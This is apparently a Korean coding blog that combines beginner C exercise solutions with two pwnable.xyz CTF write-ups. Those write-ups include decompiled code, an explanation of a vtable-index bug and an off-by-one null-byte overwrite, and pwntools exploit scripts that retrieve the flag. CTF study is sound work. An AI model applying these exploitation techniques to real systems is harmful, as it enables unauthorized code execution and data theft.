문제

아직 글을 모르는 영석이가 벽에 걸린 칠판에 자석이 붙어있는 글자들을 붙이는 장난감을 가지고 놀고 있다.

 

이 장난감에 있는 글자들은 영어 대문자 ‘A’부터‘Z’, 영어 소문자 ‘a’부터 ‘z’, 숫자 ‘0’부터 ‘9’이다. 

영석이는 칠판에 글자들을 수평으로 일렬로 붙여서 단어를 만든다. 

다시 그 아래쪽에 글자들을 붙여서 또 다른 단어를 만든다. 

이런 식으로 다섯 개의 단어를 만든다. 

 

아래 그림 1은 영석이가 칠판에 붙여 만든 단어들의 예이다.

 

 

 

한 줄의 단어는 글자들을 빈칸 없이 연속으로 나열해서 최대 15개의 글자들로 이루어진다. 

또한 만들어진 다섯 개의 단어들의 글자 개수는 서로다를 수 있다.

 

심심해진 영석이는 칠판에 만들어진 다섯 개의 단어를 세로로 읽으려 한다. 

세로로 읽을 때, 각 단어의 첫 번째 글자들을 위에서 아래로 세로로 읽는다. 다음에 두 번째 글자들을 세로로 읽는다. 

이런 식으로 왼쪽에서 오른쪽으로 한 자리씩 이동하면서 동일한 자리의 글자들을 세로로 읽어 나간다. 

위의 그림 1의 다섯 번째 자리를 보면 두 번째 줄의 다섯 번째 자리의 글자는 없다. 

이런 경우처럼 세로로 읽을 때 해당 자리의 글자가 없으면, 읽지 않고 그 다음 글자를 계속 읽는다. 

 

그림1의 다섯 번째 자리를 세로로 읽으면 D1gk로 읽는다.

 

그림 1에서 영석이가 세로로 읽은 순서대로 글자들을 공백 없이 출력하면 다음과 같다:
Aa0aPAf985Bz1EhCz2W3D1gkD6x

 

칠판에 붙여진 단어들이 주어질 때, 영석이가 세로로 읽은 순서대로 글자들을 출력하는 프로그램을 작성하시오.

 

 

입력형식

다음 정보가 표준 입력으로 주어진다. 총 다섯줄의 입력이 주어진다.

각 줄에는 최소 1개, 최대15개의 글자들이 빈칸 없이 연속으로 주어진다. 

주어지는 글자는 영어 대문자 ‘A’부터 ‘Z’, 영어소문자 ‘a’부터 ‘z’, 숫자 ‘0’부터 ‘9’ 중 하나이다. 

각 줄의 시작과 마지막에 빈칸은 없다.

 

출력형식

다음 정보를 표준 출력으로 출력한다.

영석이가 세로로 읽은 순서대로 글자들을 출력한다. 

이때, 글자들을 공백 없이 연속해서 출력한다.

 

<코드>

#include <stdio.h>

int main()
{
	char arr[5][16] = {0, };
	int j=0, check;
	
	for(int i=0; i<5; i++)
		scanf("%s", arr[i]);
	
	while(1)
	{
		check = 0;
		for(int i=0; i<5; i++)
		{ 
			if(!arr[i][j])
				continue;
			printf("%c", arr[i][j]);
			check = 1;
		}
		if(!check)
			break;
		j++;
	}
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1516 : 단어 세기  (0) 2020.06.03
1880 : 암호풀기(Message Decowding)  (0) 2020.06.03
2514 : 문자열 찾기  (0) 2020.06.03
2604 : 그릇  (0) 2020.06.03
3106 : 진법 변환  (0) 2020.06.02

문제

주어진 문자열에서 연속 3개의 문자가 IOI 이거나 KOI인 문자열이 각각 몇 개 있는지 찾는 프로그램을 작성하라.

문자열은 알파벳의 대문자로만 이루어진다. 

예를 들어 "KOIOIOI"라는 문자열은 KOI 1개 , IOI 2개가 포함되어있다.

 

 

 

 

 

 

입력형식

입력은 한 줄이며 10,000자 이하의 알파벳 대문자로 구성된다.

 

출력형식

출력은 2줄이며, 첫 번째 줄에는 KOI의 개수, 두 번째 줄에는 IOI의 개수를 각각 출력하라.

 

<코드>

#include <stdio.h>
#include <string.h>

int main()
{
	char arr[10000] = {0, };
	int countI=0, countK=0;
	
	scanf("%s", arr);
	
	
	for(int i=0; i<strlen(arr)-2; i++)
	{
		if(arr[i]=='K'&&arr[i+1]=='O'&&arr[i+2]=='I')
			countK++;
		if(arr[i]=='I'&&arr[i+1]=='O'&&arr[i+2]=='I')
			countI++;
		
	}
	
	printf("%d\n%d\n", countK, countI);
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

1880 : 암호풀기(Message Decowding)  (0) 2020.06.03
2857 : 세로읽기  (0) 2020.06.03
2604 : 그릇  (0) 2020.06.03
3106 : 진법 변환  (0) 2020.06.02
1534 : 10진수를 2,8,16진수로  (0) 2020.06.02

문제

그릇을 바닥에 놓았을 때 그 높이는 10cm 이다. 

그런데 두 개의 그릇을 같은 방향으로 포개면 그 높이는 5cm만 증가된다. 

만일 그릇이 서로 반대방향으로 쌓이면 높이는 그릇만큼, 즉 10cm 늘어난다. 

그릇을 괄호 기호로 나타내어 설명해보자. 편의상 그릇이 쌓여지는 방향은 왼쪽에서 오른쪽이라고 가정한다. 

그림에서 ‘(’은 그릇이 바닥에 바로 놓인 상태를 나타내며, ‘)’은 그릇이 거꾸로 놓인 상태를 나타낸다.

 

만일 그릇이 포개진 모양이 아래 그림 1(a)와 같다면 전체의 높이는 25cm가 된다. 

왜냐하면 처음 바닥에 있는 그릇의 높이가 10cm이고 

이후 같은 방향으로 3개의 그릇이 포개져 있으므로 늘어난 높이는 5+5+5=15 이기 때문이다. 

그림 1(b)와 같은 경우라면 그 높이는 10*4=40cm가 된다.

 

 


 

여러분은 입력파일에 주어진 모양대로 그릇을 쌓을 때 최종의 전체 그릇 높이를 계산해서 출력해야 한다. 

즉 처음 입력으로 주어진 각 그릇의 방향은 바꿀 수 없다.

 

 

입력형식

입력파일의 첫 줄에는 괄호문자로만 이루어진 문자열이 주어진다.

입력 문자열에서 열린 괄호 ‘(’은 바로 놓인 그릇 닫힌 괄호 ‘)’은 거꾸로 놓인 그릇을 나타난다. 

문자열의 길이는 3이상 50 이하이다.

 

출력형식

여러분은 그릇 방향이 괄호 문자로 표시된 문자열을 읽어서 그 최종의 높이를 정수로 출력해야 한다.

 

 

<코드>

#include <stdio.h>
#include <string.h>

int main()
{
	char arr[50] = {0, };
	char before;
	int height = 10;
	
	scanf("%s", arr);
	
	before = arr[0];
	for(int i=1; i<strlen(arr); i++)
	{
		if(arr[i] == '(')
		{
			if(before == '(')
				height += 5;
			else
				height += 10;
		}
		else
		{
			if(before == ')')
				height += 5;
			else
				height += 10;
		}
		
		before = arr[i];
	}
	
	printf("%d\n", height);
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

2857 : 세로읽기  (0) 2020.06.03
2514 : 문자열 찾기  (0) 2020.06.03
3106 : 진법 변환  (0) 2020.06.02
1534 : 10진수를 2,8,16진수로  (0) 2020.06.02
2814 : 이진수  (0) 2020.05.30

문제

A진법 수 N을 입력 받아 B진법 수로 출력하는 프로그램을 작성하시오.

N에 사용되는 값은 0 ~ 9, A ~ Z이다.

(2 <= A, B <= 36) ( 0<= N<= 263-1 )

 

입력형식

입력은 100개 이하의 테스트 케이스가 행으로 구분하여 주어진다.

테스트 케이스의 끝에는 0이 주어진다. 

각 테스트 케이스에는 세 수 A, N, B가 공백으로 구분되어 주어진다.

 

출력형식

각 테스트 케이스에 대하여 A진법수 N을 B진법 수로 변환한 결과를 행으로 구분하여 출력한다.

 

<코드>

#include <stdio.h>
#include <string.h>
#include <math.h>

char convert(int N)
{
	if(N<10)
		return N+0x30;
	else
		return N+0x37;
}

//10진법 -> 2~36진법
void intto(unsigned long long N, int B)
{
	char arr[1000] = {0, };
	int i=0;

	while(1)
	{
		if(N<B)
		{
			arr[i] = convert(N);
			break;
		}

		arr[i] = convert(N%B);
		N /= B;
		i++;
	}
	
	for(; i>=0; i--)
		printf("%c", arr[i]);
	
	printf("\n");
}

int invert(char N)
{
	if('0'<=N && '9'>=N)
		return N-0x30;
	else if('A'<=N && 'Z'>=N)
		return N-0x37;
}

//2~36진법 -> 10진법
unsigned long long toint(char *N, int A)
{
	unsigned long long decimal = 0, tmp;
	int len;
	
	len = strlen(N);
	
	for(int i=len-1; i>=0; i--)
	{
		tmp = invert(N[i]);
		for(int j=0; j<(len-i-1); j++)
			tmp *= A;
		decimal += tmp;
	}
	
	return decimal;
}

int main()
{
	char N[100] = {0, };
	int A, B;
	
	while(1)
	{
		scanf(" %d", &A);
		if(!A)
			break;
		
		scanf("%s %d",N, &B);
		
		intto(toint(N, A), B);
	}
	
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

2514 : 문자열 찾기  (0) 2020.06.03
2604 : 그릇  (0) 2020.06.03
1534 : 10진수를 2,8,16진수로  (0) 2020.06.02
2814 : 이진수  (0) 2020.05.30
2813 : 소수의 개수  (0) 2020.05.29

문제

10진수를 입력 받아서 2, 8, 16진수로 바꾸어 출력하는 프로그램을 작성하시오.

 

입력형식

입력의 첫줄에는 10진수 N(1≤N≤100,000)과 바꿀 진수 B(2, 8, 16)가 공백으로 구분하여 입력된다.

16진수에서 10이상의 수는 순서대로 'A', 'B', 'C', 'D', 'E', 'F'로 나타낸다.

 

출력형식

입력받은 10진수를 B진수로 바꾸어 출력한다.

 

<코드>

#include <stdio.h>

void itob(int N)
{
	int arr[20] = {0, };
	int i=0;
	
	while(1)
	{
		if(N<2)
		{
			arr[i] = N;
			break;
		}
		
		arr[i] = N%2;
		N /= 2;
		i++;	
	}
	
	for(; i>=0; i--)
		printf("%d", arr[i]);
}

void itoo(int N)
{
	int arr[20] = {0, };
	int i=0;
	
	while(1)
	{
		if(N<8)
		{
			arr[i] = N;
			break;
		}

		
		arr[i] = N%8;
		N /= 8;
		i++;
	}
	
	for(; i>=0; i--)
		printf("%d", arr[i]);
}

char convert(int N)
{
	if(N<10)
		return N+0x30;
	else
		return N+0x37;
}

void itoh(int N)
{
	char arr[20] = {0, };
	int i=0;
	
	while(1)
	{
		if(N<16)
		{
			arr[i] = convert(N);
			break;
		}

		arr[i] = convert(N%16);
		N /= 16;
		i++;
	}
	
	for(; i>=0; i--)
		printf("%c", arr[i]);
}

int main()
{
	int N, B;
	
	scanf("%d %d", &N, &B);
	
	switch(B)
	{
		case 2:
			itob(N);
			break;
		case 8:
			itoo(N);
			break;
		case 16:
			itoh(N);
			break;
	}
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

2604 : 그릇  (0) 2020.06.03
3106 : 진법 변환  (0) 2020.06.02
2814 : 이진수  (0) 2020.05.30
2813 : 소수의 개수  (0) 2020.05.29
1901 : 소수 구하기  (0) 2020.05.29

 

Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

malloc 으로 메모리를 할당하고 read로 입력을 하고 write로 출력을 하고 free로 메모리를 해제하는걸 원하는 것 같은 실행파일이다.

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // [rsp+Ch] [rbp-4h]

  setup(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    print_menu();
    printf("> ");
    v3 = read_long();
    if ( v3 <= 4 )
      (*(&vtable + v3))();
    else
      puts("Invalid.");
  }
}

 

main은 아주 간단하다. menu를 출력해주고 메뉴 인덱스를 입력받는데 vtable을 통해 함수들을 호출해주고 있다.

 

 

vtable에는 메뉴 인덱스 순서대로 exit, malloc, free, read, write함수의 주소가 적혀있다.

do_malloc함수부터 확인해보자.

 

[do_malloc]

void *do_malloc()
{
  unsigned __int64 v0; // rax
  void *result; // rax

  printf("Size: ");
  v0 = read_long();
  size = v0;
  result = malloc(v0);
  if ( result )
    heap_buffer = result;
  else
    heap_buffer = (void *)1;
  return result;
}

 

size를 입력받아서 해당 값만큼 malloc으로 공간을 heap_buffer에 할당해준다. 만약 malloc이 실패하면 heap_buffer에 1을 넣어준다.

 

 

heap_buffer는 vtable 8byte위에 존재한다.

do_free함수도 확인해보자.

 

[do_free]

void do_free()
{
  if ( heap_buffer == (void *)1 )
  {
    puts("Not allocated.");
  }
  else
  {
    free(heap_buffer);
    heap_buffer = (void *)1;
  }
}

 

heap_buffer를 free해주고 heap_buffer에 1을 넣어준다.

 

[do_read]

int do_read()
{
  int result; // eax

  if ( heap_buffer == (void *)1 )
    result = puts("Not allocated.");
  else
    result = read(0, heap_buffer, size);
  return result;
}

 

do_read 함수는 heap_buffer에 아까 입력받은 size만큼 read를 해준다.

 

[do_wirte]

int do_write()
{
  int result; // eax

  if ( heap_buffer == (void *)1 )
    result = puts("Not allocated.");
  else
    result = write(1, heap_buffer, size);
  return result;
}

 

마지막으로 do_write는 heap_buffer에 있는 값을 size만큼 출력해준다.

그리고

int _()
{
  return system("cat /flag");
}

이렇게 "cat /flag"를 해주는 함수도 존재한다. 이번에는 특이하게 이름이 win이 아니라 _이다.. 나름 숨기려고 이렇게 해놓은건가..?

 

메뉴 인덱스를 입력받는 read_long함수도 보자.

unsigned __int64 read_long()
{
  char s[40]; // [rsp+10h] [rbp-30h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, 0x20uLL);
  s[(signed int)((unsigned __int64)read(0, s, 0x20uLL) - 1)] = 0;
  return strtoul(s, 0LL, 0);
}

 

stroul함수를 사용하여 입력값을 return하는데 stroul함수는 문자열을 unsigned long형으로 변환해주는 함수이다.

만약 메뉴 인덱스에 -1을 입력하면 vtable[-1]에 접근하여 heap_buffer부분을 호출하고 -2를 입력하면 vtable[-2]를 호출할 것이다.

 

vtable[-2]에는 size가 존재한다. 그러면 do_malloc에서 size를 입력할 때 "_" 함수의 주소를 입력하고 vtable[-2]를 실행시키면 "cat /flag"가 실행될 것이다.

엄청 간단한 문제이다.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30007)

win = 0x400a31

r.sendlineafter("> ", "1")
r.sendlineafter(": ", str(int(win)))
r.sendlineafter("> ", "-2")

r.interactive()

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

문제

컴퓨터는 내부적으로 0과 1 두 개의 숫자만을 사용하여 모든 프로그램이 동작된다.
이렇게 두 개의 숫자만으로 이루어진 수를 이진수라 한다.
2진수를 입력받아 10진수로 변환하여 출력하는 프로그램을 작성하시오.

 

입력형식

0과 1로만 이루어져 있는 30자리 이하의 2진수를 입력받는다.

 

출력형식

입력된 2진수를 10진수로 변환하여 출력한다.

 

<코드>

#include <stdio.h>
#include <string.h>

int main()
{
	char binary[30];
	int decimal = 0;
	
	scanf("%s", binary);
	
	for(int i=strlen(binary)-1, k=1; i>=0; i--, k*=2)
	{
		decimal += (binary[i]-0x30)*k;
	}
	
	printf("%d\n", decimal);
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

3106 : 진법 변환  (0) 2020.06.02
1534 : 10진수를 2,8,16진수로  (0) 2020.06.02
2813 : 소수의 개수  (0) 2020.05.29
1901 : 소수 구하기  (0) 2020.05.29
1740 : 소수  (0) 2020.05.28

문제

소수(prime number)란 1보다 큰 자연수 중 1과 자기 자신 두 개만을 약수로 갖는 수를 말한다.
자연수 M과 N을 입력받아 M부터 N까지 소수의 개수를 구하여 출력하는 프로그램을 작성하시오.

 

입력형식

자연수 M과 N이 공백으로 구분되어 주어진다. (1 ≤ M ≤ N ≤ 2,000,000)

 

출력형식

M이상 N이하의 자연수 중 소수가 몇 개인지 구하여 출력한다.

 

<코드>

#include <stdio.h>
 
 int prime[2000005];
 
void eratos(int n)
{
    int i, j;
	
	prime[0] = prime[1] = 1;
    for (i=2; i*i <= n; i++)
    {
        if (!prime[i])
        {
            for (j=i*i; j<=n; j+=i) // i의 제곱부터 n까지 i씩 증가
            {
                prime[j] = 1; // i의 배수 제거하기
            }
        }
    }
}

int main()
{
    int s, e, i;
    int cnt = 0;
    scanf("%d %d", &s, &e);
    
    eratos(e);
    
    for (i=s; i <= e; i++)
    {
        if(prime[i]==0)
            cnt++;
    }
    printf("%d\n", cnt);
    return 0;
}
 

'코딩 > Beginner Coder' 카테고리의 다른 글

1534 : 10진수를 2,8,16진수로  (0) 2020.06.02
2814 : 이진수  (0) 2020.05.30
1901 : 소수 구하기  (0) 2020.05.29
1740 : 소수  (0) 2020.05.28
2811 : 소수와 합성수  (0) 2020.05.28

문제

소수(prime number)란 2이상의 수로써 1과 자기 자신 외에는 약수를 갖지 않는 수를 의미한다.

임의의 M값에 대하여 M에 가장 가까운 소수를 구하는 프로그램을 아래 조건에 따라 작성한다.

 

입력형식

첫 번째 줄에는 처리해야 할 수의 개수 N을 입력 받는다. (N은 100이하의 정수) 

다음 줄에는 처리해야할 수 N개(M1부터 Mn까지)를 한 줄에 한 개씩 차례로 입력 받는다. 

(Mi 는 1,000,000 이하의 양의 정수) 

데이터의 크기가 주어진 범위를 벗어나는 입력은 없다.

 

출력형식

임의의 값 Mi에 대해 차이가 가장 작은 소수를 구하여 출력한다. 

만약 차이가 같은 소수가 여러 개이면 작은 수부터 모두 출력한다. 

출력되는 값은 1이상 1,000,000이하의 소수이어야 한다.

 

<코드>

#include <stdio.h>
#include <math.h>

//return 0: prime return 1: composite
int check_prime(int N)
{
	int sq, count=0;
	
	if(N == 1)
		return 1;
	
	sq = (int)sqrt(N);

	for (int i = 2; i <= sq; i++)
	{
		if (!(N%i))
		{
			count++;
		}
		
		if(count>0)
			break;
	}
	
	return count;
}

int main()
{
	int N, M;
	int j;
	
	scanf("%d", &N);
	
	for(int i=0; i<N; i++)
	{
		scanf("%d", &M);
		j = 1;
		if(!check_prime(M))
		{
			printf("%d\n", M);
			continue;
		}
		while(1)
		{
			if(!check_prime(M-j))
			{
				printf("%d", M-j);
				if(!check_prime(M+j))
					printf(" %d\n", M+j);
				else
					printf("\n");
				break;
			}
			if(!check_prime(M+j))
			{
				printf("%d\n", M+j);
				break;
			}
			j++;
		}
	}
	
	return 0;
}

'코딩 > Beginner Coder' 카테고리의 다른 글

2814 : 이진수  (0) 2020.05.30
2813 : 소수의 개수  (0) 2020.05.29
1740 : 소수  (0) 2020.05.28
2811 : 소수와 합성수  (0) 2020.05.28
1009 : 각 자리수의 역과 합(Number Reverse)  (0) 2020.05.28

 

Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

 

 

음.. flag를 load해서 key로 암호화해서 print되는 실행파일 같은데 설마 복호화 문제는 아니겠지..?

 

[main]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v4; // eax
  unsigned int v5; // ST0C_4

  setup();
  puts("Muahaha you thought I would never make a crypto chal?");
  v3 = (_BYTE *)(&word_3E + 1);
  generate_key(63);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu(v3);
        v3 = "> ";
        printf("> ", argv);
        v4 = read_int32();
        if ( v4 != 2 )
          break;
        load_flag();
      }
      if ( v4 > 2 )
        break;
      if ( v4 != 1 )
        goto LABEL_12;
      printf("key len: ");
      v5 = read_int32();
      v3 = (const char *)v5;
      generate_key(v5);
    }
    if ( v4 == 3 )
    {
      print_flag();
    }
    else if ( v4 != 4 )
    {
LABEL_12:
      v3 = "Invalid";
      puts("Invalid");
    }
  }
}

 

main에서는 입력된 메뉴 인덱스에 따라 함수를 실행시켜준다. "1"을 입력했을 때 실행되는 generate_key함수부터 확인해보자.

 

[generate_key]

unsigned __int64 __fastcall generate_key(signed int key_len)
{
  signed int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( key_len > 0 && (unsigned int)key_len <= 0x40 )
  {
    memset(s, 0, 0x48uLL);
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, key_len);
    for ( i = 0; i < key_len; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

 

입력받는 key의 길이는 1이상 64이하의 값이어야 한다.

memset함수로 s를 0x40만큼 0으로 초기화해준 후 /dev/urandom을 열어서 key_len만큼 s에 입력을 받는다.

만약 중간에 0이 들어있으면 그 부분을 채워주고 strcpy로 key변수에 s의 값을 써준다.

 

여기서 strcpy는 문자열을 복사 후 뒤에 널문자도 추가해준다.

 

 

key의 크기는 0x40이므로 만약 s에 0x40만큼의 값이 써져있다면 1byte overflow가 되어 do_comment를 0으로 덮어씌울 수 있다.

다음으로 load_flag함수를 확인해보자.

 

[load_flag]

int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
  read(fd, flag, 0x40uLL);
  for ( i = 0; i <= 0x3F; ++i )
    flag[i] ^= key[i];
  return close(fd);
}

 

flag파일을 open한 뒤에 0x40byte만큼 flag변수에 읽어들인다. 그 후 flag와 key에 들어있는 값을 1byte씩 xor연산을 해준 후 다시 flag변수에 저장한다. 여기서는 do_comment가 사용되지 않는다.

마지막으로 print_flag변수도 확인해보자.

 

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = (unsigned __int8)do_comment;
  if ( !(_BYTE)do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 'y' )
      do_comment = (__int64 (*)(void))f_do_comment;
    result = do_comment();
  }
  return result;
}

 

만약 do_comment가 0이고  "Wanna take a survey instead?"라는 질문에 "y"라고 대답하면 do_comment에 f_do_comment라는 함수의 주소를 넣어준 후 실행시켜준다. print flag라면서 flag를 출력해주지도 않는다..

 

[f_do_comment]

unsigned __int64 f_do_comment()
{
  char buf; // [rsp+10h] [rbp-30h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, &buf, 0x21uLL);
  return __readfsqword(0x28u) ^ v2;
}

그냥 buf에 0x21byte만큼 입력해주는 함수인데 이 부분을 이용해서 무언가를 할 수 있을 것 같지는 않다..

 

이 함수들 말고 real_print_flag라는 함수도 존재했다.

 

[real_print_flag]

int real_print_flag()
{
  return printf("%s", flag);
}

print_flag가 아니라 real_print_flag!! 여기서 flag를 출력해준다.

 

 

real_print_flag함수의 오프셋은 0xb00이고 아까 print_flag에서 do_comment에 넣어줬던 f_do_comment함수의 오프셋은 0xb1f이다. do_comment가 f_do_comment의 주소를 저장하고 있을 때 "1"번 메뉴를 통해 1byte를 널로 덮어주면 f_do_comment의 주소를 real_print_flag의 주소로 바꿔줄 수 있다.

그 후 다시 "3"번 메뉴로 print_flag함수를 실행시키면 (BYTE)do_comment는 0이니까 질문의 대답에 "y"를 하지 않고 넘어가면 real_print_flag를 실행시킬 수 있다.

 

이런식으로 flag는 출력할 수 있다. 그러면 이제 진짜 flag가 출력될 수 있도록 해야되는데.. key를 전부 0으로 만들어주면 진짜 flag가 출력될 것이다.

 

만약 key_len에 0을 입력한다면 key의 첫 번째 byte가 0으로 세팅될 것이고 key_len에 1을 입력한다면 key의 두 번째 byte가 0으로 세팅될 것이다. 이렇게해서 쭉 한바이트씩 진짜 flag를 확인해보면 된다.

 

한번에 하려니까 조금씩 끊기고 한바이트씩 잘못된 부분도 가끔 생긴다. 그래서 앞부분 따로 뒷부분 따로 해주었다.

 

[payload]

from pwn import *

#context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30006)

#set do_comment
r.sendlineafter("> ", "3")
r.sendlineafter("? ", "y")

#1byte overflow
r.sendlineafter("> ", "1")
r.sendlineafter(": ", "64")

#find flag
flag = "F"

for i in range(1,33):
	
	#set 0x00
	r.sendlineafter("> ", "1")
	r.sendlineafter(": ", str(i))

	#load flag
	r.sendlineafter("> ", "2")
	
	#print flag
	r.sendlineafter(">", "3")
	r.sendlineafter("? ", "r")
	
	flag += r.recv(64)[i]
	print "flag : " + flag

 

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Jmp table  (0) 2020.05.30
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

+ Recent posts